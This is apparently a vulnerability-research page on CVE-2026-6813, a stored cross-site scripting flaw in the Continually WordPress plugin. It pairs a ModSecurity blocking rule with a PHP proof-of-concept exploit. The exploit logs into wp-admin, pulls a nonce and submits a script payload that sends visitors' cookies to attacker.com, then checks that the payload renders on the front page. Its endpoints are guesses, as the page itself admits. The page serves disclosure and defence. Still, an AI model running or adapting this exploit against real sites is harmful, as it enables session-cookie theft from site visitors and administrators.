CVE-2026-6813: Continually <= 4.3.1 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'continually_embed_code' Parameter (continually)

# Atomic Edge WAF Rule - CVE-2026-6813 (metadata-based)
# Blocks stored XSS exploitation via continually_embed_code parameter in Continually plugin
# Targets admin settings submission with malicious script tags
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20266813,phase:2,deny,status:403,chain,msg:'CVE-2026-6813 Stored XSS via continually_embed_code',severity:'CRITICAL',tag:'CVE-2026-6813'"
  SecRule ARGS_POST:action "@streq continually_save_settings" 
    "chain"
    SecRule ARGS_POST:continually_embed_code "@rx <script[^>]*>.*</script>" 
      "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6813 - Continually <= 4.3.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'continually_embed_code' Parameter

/**
 * This PoC demonstrates exploitation of a stored XSS vulnerability in the
 * Continually WordPress plugin through the 'continually_embed_code' parameter.
 * It requires an administrator-level account on a multi-site installation
 * or one with unfiltered_html disabled.
 *
 * Assumptions:
 * - The plugin stores the embed code in a WordPress option (e.g., 'continually_embed_code')
 * - The admin settings page is accessible via POST to /wp-admin/options-general.php
 *   or a plugin-specific page with the parameter 'continually_embed_code'
 * - The injected script executes on front-end pages where the embed code is rendered
 */

$target_url = 'http://example.com';  // Change this to the target WordPress URL
$admin_username = 'admin';           // Administrator username
$admin_password = 'password';        // Administrator password

// XSS payload: steals document cookies and sends them to a controlled endpoint
$xss_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>';

// Initialize cURL session
$ch = curl_init();

// Step 1: Login to WordPress admin
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials or target URL.');
}
echo "[+] Logged in successfully.n";

// Step 2: Get the admin settings page to extract nonce (if present)
// Assumption: Plugin settings are at /wp-admin/options-general.php?page=continually or similar
$settings_url = $target_url . '/wp-admin/options-general.php?page=continually';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Try to extract a nonce if present (common WordPress pattern)
$nonce = '';
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $matches)) {
    $nonce = $matches[1];
    echo "[+] Found nonce: $noncen";
} else {
    echo "[!] No nonce found. Proceeding without nonce.n";
}

// Step 3: Submit the malicious embed code
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
$post_data = array(
    'action' => 'continually_save_settings',  // Inferred action hook based on plugin slug
    'continually_embed_code' => $xss_payload,
    '_wpnonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $admin_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check for success (HTTP redirect or success message)
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 302 || $http_code == 200) {
    echo "[+] Exploit payload submitted successfully.n";
} else {
    echo "[!] Submission returned HTTP $http_code. Check manually.n";
}

// Step 4: Verify the payload is stored (optional: fetch front-end page)
$front_page_url = $target_url . '/';
curl_setopt($ch, CURLOPT_URL, $front_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$front_page = curl_exec($ch);

if (strpos($front_page, $xss_payload) !== false) {
    echo "[+] XSS payload confirmed on front page.n";
} else {
    echo "[!] Payload not found on front page. May be rendered on other pages.n";
}

curl_close($ch);
echo "[+] PoC complete.n";